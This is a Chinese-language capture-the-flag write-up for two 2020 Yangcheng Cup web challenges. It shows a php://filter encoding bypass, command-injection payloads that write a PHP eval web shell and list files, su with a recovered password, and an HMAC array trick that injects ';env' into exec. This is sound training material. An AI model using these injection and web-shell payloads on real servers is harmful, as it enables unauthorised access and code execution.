[羊城杯 2020]Easyphp2
思路
1.修改Cookie: pass=GWHT,我没有看robots.txt,直接猜到的
2.绕过协议,二次编码就行,或者更改别的过滤器
?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php
3.得到源码
<?php
if (isset($_GET["count"])){
$count $_GET[count"]:
if(preg_match ('/base64rot13|base32 base16<\?php #/i',$count)){
die ('hacker !')
}
echo <h2>
The Count is:"exec('printf \'' .$count.'\' | wc -c')."</h2>
}
?>
这里浅谈一下
<?php
print(exec('ls'));#script.php
print(exec('pwd'));#/box
print(exec('ls;pwd'));#/box
print(exec('ls||pwd'));#script.php
print(exec('ls&&pwd'));#/box
print(exec('ls|pwd'));#/box
print(exec('pwd&&ls||pwd'));#script.php
?>
总结:如果有回显,只有||命令回显的是前面执行的命令(因为后面的命令没有执行了),其他的都是回显后面的命令
payload
对于这道题目,过滤了 ;,不过还有 | 也可以用
直接写入
1'|echo"<?=eval(\$_POST[cmd])?>">1.php||'1
短一点的话可以
1'|echo"<?=eval(\$_POST[cmd])?>">'1.php 其实就是'1.php闭合了后面的'
如果想看ls执行并且有回显的话(其实没啥用),可以
1'%26%26ls||'1
不过,ls /的时候,显示不完全,因为exec直接打印的话只会输出一行代码,可能跟换行有关
不过可以这样让他显示
1'%26%26ls%20/|tee%20b||'1
然后访问/b就行了
直接蚁剑链接上
找了半天才找到flag.txt,不过没有权限
使用
ls -l 查看,发现要GWHT用户才能打开
找到README文件,解码之后得到GWHT用户的密码:GWHTCTF
在蚁剑中可以这样登录并执行命令
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
解释:
该指令的意思是将字符串"GWHTCTF"传递给su命令,并使用GWHT用户身份执行后续的命令。在这个例子中,su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'的含义是以GWHT用户的身份执行cat /GWHT/system/of/a/down/flag.txt命令,来查看文件/GWHT/system/of/a/down/flag.txt的内容。
[羊城杯 2020]Blackcat
思路
查看源码,得到提示:<!--都说听听歌了!-->
源码中有音频的链接,点进去划到最下面,得到
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
hash_hmac
(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)
hash_hmac — 使用 HMAC 方法生成带有密钥的散列值
hash_hmac(
string `$algo`,#加密的类型
string `$data`,#要加密的值
string `$key`,#加密时使用的密钥
bool `$binary` = `false`#前三个参数是必须的,这个是可选的参数
): string
参数
-
algo
要使用的散列算法名称,例如:“md5”、“sha256”、“haval160,4”等。如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。
-
data
要进行散列运算的消息。
-
key
使用 HMAC 生成信息摘要时所使用的密钥。
-
binary
设置为
true
输出原始二进制数据,设置为false
输出小写 16 进制字符串。
利用sha不能加密数组的特点,返回的其实是NULL,举例
<?php
$hmac = hash_hmac('sha256', Array(), "SecretKey");
echo $hmac == false;#1
echo $hmac == NULL;#1
echo $hmac == '';#1
echo $hmac === NULL;#1,只有NULL才强等于
// echo hash_hmac('sha256',';env',false)
?>
所以令$_POST['White-cat-monitor']
为数组,得到的密钥就变成了NULL,加密$_POST['One-ear']
的值变得可控
payload
<?php
echo hash_hmac('sha256',';env',false);#false,NULL,'' 都可以
?>
不过exec只能显示一行,而且这里不能文件写入,flag只能不断尝试了:/flag,flag.php,/flag.txt,flag.txt……
全部尝试了一遍,尝试环境变量env,得到flag